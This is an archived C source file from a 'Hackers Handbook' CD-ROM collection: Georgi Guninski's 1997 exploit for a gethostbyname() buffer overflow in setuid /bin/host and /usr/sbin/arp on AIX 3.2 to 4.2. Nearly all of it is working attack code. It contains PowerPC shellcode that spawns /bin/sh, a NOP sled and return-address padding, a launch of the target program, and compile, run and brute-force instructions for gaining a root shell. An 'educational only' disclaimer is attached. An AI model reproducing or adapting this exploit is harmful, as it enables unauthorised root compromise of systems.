home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / exploits / aixploit.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-10-15  |  5.1 KB  |  197 lines

  1. /*
  2.  AIX 4.1 ,4.2, 3.2 /bin/host and /usr/sbin/arp exploit by Georgi Guninski
  3.  Version 1.1
  4.  
  5. ----------------------------------------
  6. DISCLAIMER
  7.  
  8.  This program is for educational purpose ONLY. Do not use it without permission.
  9.  The usual standard disclaimer applies, especially the fact that Georgi Guninski
  10.  is not liable for any damages caused by direct or  indirect use of
  11.  the information or functionality provided by this program.
  12.  Georgi Guninski or any Internet provider bears NO responsibility for content
  13.  or misuse of this program or any derivatives thereof.
  14.  By using this program you accept the fact that any damage (dataloss, system
  15.  crash, system compromise, etc.) caused by the use of this program is not
  16.  Georgi Guninski's responsibility.
  17. -----------------------------------------
  18. I wrote and tested this program on AIX 4.1 for PowerPC 601,604, Power2  and 
  19. it started a root shell on a few  machines. It exploits a buffer overflow in 
  20. gethostbyname() (see IBM advisory) and the fact that /bin/host,/usr/sbin/arp are
  21. +s. Probably it may be modified to work with rlogin,ping,traceroute and others. 
  22. Possibly this hole may be exploited remotely. IBM has released patch for the problem.
  23. It is reported that this works on AIX 4.2 and 3.2.
  24.  
  25. I think the problem with the additional kludges is corrected, so the program
  26. should work without any arguments. But if you want to experiment the arguments
  27. are: string length (/4), offset (/4), full path of program.
  28.  
  29.  
  30. Use the IBM C compiler.
  31. Compile with: cc -g test.c
  32. Just try: ./a.out
  33.       ./a.out 560 500 /usr/sbin/arp
  34.       ./a.out 78 40 /bin/host
  35. If it does not work, you should run a shell script which brute forces the 
  36. length (<=580) and offset (<legth-15) with /bin/host, /usr/sbin/arp or other
  37. setuid program.
  38. -----------------
  39. Georgi Guninski
  40. Email:
  41.  guninski@hotmail.com 
  42.  sgg@vmei.acad.bg
  43.  guninski@linux2.vmei.acad.bg
  44. Tel: +359 2 774104
  45.  
  46. Suggestions,comments and offers are welcome!
  47. 11-Jan-97
  48. */
  49. #include <stdio.h>
  50. #include <stdlib.h>
  51. #include <string.h>
  52.  
  53. /*Used for testing*/
  54.  
  55. char prog[100]="/bin/host";
  56. char prog2[30]="host";
  57.  
  58.  
  59. void buggy(char *s)
  60. {
  61. char a[4];
  62. unsigned int junk[150];
  63. gethostbyname();
  64. }
  65. void sh2()
  66. {
  67. int junk[0x100];
  68. int s[2];
  69. int toc;
  70. int ctr;
  71. junk[0x100]=0x11;
  72. toc=0xf0192c48;
  73. ctr=0xd0024c0c;
  74. s[0]=0x2f62696e;
  75. s[1]=0x2f736800;
  76. execv(&s,0);
  77. }
  78. /*The program*/
  79. main(int argc,char **argv)
  80. {
  81. unsigned int junk[300];
  82. /*The code*/
  83. unsigned int code[]={
  84. 0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  85. 0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  86. 0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  87. 0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  88. 0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  89. 0x7c0903a6 , 0x4e800420, 0x0
  90. };
  91. /* disassembly
  92. 7c0802a6           mfspr    r0,LR
  93. 9421fbb0           stu    SP,-1104(SP) --get stack 
  94. 90010458           st    r0,1112(SP)
  95. 3c60f019           cau    r3,r0,0xf019 --CTR
  96. 60632c48           lis    r3,r3,11336  --CTR
  97. 90610440           st    r3,1088(SP)
  98. 3c60d002           cau    r3,r0,0xd002 --TOC
  99. 60634c0c           lis    r3,r3,19468  --TOC
  100. 90610444           st    r3,1092(SP)
  101. 3c602f62           cau    r3,r0,0x2f62 --'/bin/sh\x01'
  102. 6063696e           lis    r3,r3,26990
  103. 90610438           st    r3,1080(SP)
  104. 3c602f73           cau    r3,r0,0x2f73
  105. 60636801           lis    r3,r3,26625  
  106. 3863ffff           addi    r3,r3,-1
  107. 9061043c           st    r3,1084(SP) --terminate with 0
  108. 30610438           lis    r3,SP,1080
  109. 7c842278           xor    r4,r4,r4    --argv=NULL
  110. 80410440           lwz    RTOC,1088(SP) 
  111. 80010444           lwz    r0,1092(SP) --jump
  112. 7c0903a6           mtspr   CTR,r0
  113. 4e800420           bctr              --jump
  114. */
  115.  
  116. #define MAXBUF 600
  117. unsigned int buf[MAXBUF];
  118. unsigned int i,nop,mn;
  119. int max;
  120.  
  121. unsigned int toc;
  122. unsigned int eco;
  123. unsigned int *pt;
  124. int carry1=0;/*should remain 0*/
  125. int carry2=0;/*-"-*/
  126. char *t;
  127.  
  128. pt=(unsigned *) &execv;
  129. toc=*(pt+1);
  130. eco=*pt;
  131. if (argc>1) max=atoi(argv[1]);
  132. if(max==0) max=78;
  133. mn=40;
  134. if(argc>2) mn=atoi(argv[2]);
  135.  
  136. if(argc>3) 
  137.  {     strncpy(prog,argv[3],100);
  138.     t=strrchr(prog,'/');
  139.     if(t) strncpy(prog2,++t,30); 
  140.     
  141.  
  142.  }
  143. if(argc>4) strncpy(prog2,argv[4],30);
  144.  
  145. if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) 
  146. {
  147.     puts("Bad parameters");
  148.     exit(1);
  149. }
  150.     
  151. #define OO 7        
  152. *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  153. *((unsigned short *)code + OO)=carry1+(unsigned short) ((toc >> 16) & 0x0000ffff);
  154. /*I think I corrected the problem. carry1,carry2 should be 0          */
  155. *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  156. *((unsigned short *)code + OO + 6 )=carry2+(unsigned short) ((eco >> 16) & 0x0000ffff);
  157. #ifndef QUIET
  158. puts("Test AIX!");
  159. puts("Discovered and coded by Georgi G.");
  160. printf("TOC:%0x,CTR:%0x\n",toc,eco);
  161. printf("\n%p",&buf[nop]);
  162. #endif
  163. junk[50]=1;
  164. for(nop=0;nop<mn;nop++)
  165.  buf[nop]=0x4ffffb82;/*nop*/
  166. strcpy((char*)&buf[nop],(char*)&code);
  167. i=nop+strlen( (char*) &code)/4-1;
  168. while(i++<max)
  169. {
  170.  buf[i]=(unsigned) &buf[nop];
  171. }
  172. buf[i]=0;
  173.  
  174. for(i=0;i<nop;i++)
  175.  buf[i]=(unsigned)&buf[nop];
  176. for(i=0;i<300;i++) junk[i]=(unsigned)&buf[nop];
  177.  
  178.  
  179.  
  180. if (argc<=7) {
  181. #ifndef QUIET
  182. puts("Start...");/*Here we go*/
  183. #endif
  184. i=execl(prog,prog2,(char*)&buf,0);
  185. }
  186. else
  187.  {
  188.   puts((char*)&buf);
  189.   fflush(stdout);
  190.   gethostbyname( (char*)&buf); 
  191.  }
  192. /*Bad*/ 
  193. printf("Error executing execl\n");
  194. /*      Georgi Guninski 
  195.     guninski@hotmail.com     
  196.     sgg@vmei.acad.bg*/
  197. }